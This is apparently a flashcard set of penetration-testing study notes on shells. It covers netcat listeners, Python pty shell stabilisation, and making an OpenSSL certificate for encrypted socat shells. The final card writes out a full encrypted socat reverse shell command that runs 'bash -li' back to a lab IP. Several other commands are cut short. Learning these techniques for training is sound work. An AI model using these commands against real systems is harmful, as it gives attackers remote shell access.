1/15
Looks like no tags are added yet.
Name | Mastery | Learn | Test | Matching | Spaced |
---|
No study sessions yet.
The syntax for starting a netcat listener using Linux
nc -lvnp
Connecting to a listening (bind shell):
nc
Use python to secure a stable shell
"python -c 'import pty;pty.spawn(""/bin/bash"")'
export TERM=xterm
Ctrl Z
stty raw -echo; fg"
Use rlwrap to secure a stable shell
rlwrap nc -lvnp
Use openssl to creates a 2048 bit RSA key with matching cert file, self-signed, and valid for just under a year.
openssl req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt
merge the two created files into a single .pem file
cat shell.key shell.crt > shell.pem
Use socat to set up a shell listener (simple)
socat TCP-L:
Use socat to set up a shell connecting to listener (simple)
socat TCP:
Use socat to set up our reverse shell listener
socat OPENSSL-LISTEN:
Use socat to connect to a shell
socat OPENSSL:
What is the syntax for setting up an OPENSSL-LISTENER using the tty technique? Use port 53, and a PEM file called "encrypt.pem"
socat OPENSSL-LISTEN:53,cert=encrypt.pem,verify=0 FILE:tty
,raw,echo=0
f your IP is 10.10.10.5, what syntax would you use to connect back to this listener?
socat OPENSSL:10.10.10.5:53,verify=0 EXEC:"bash -li",pty,stderr,sigint,setsid,sane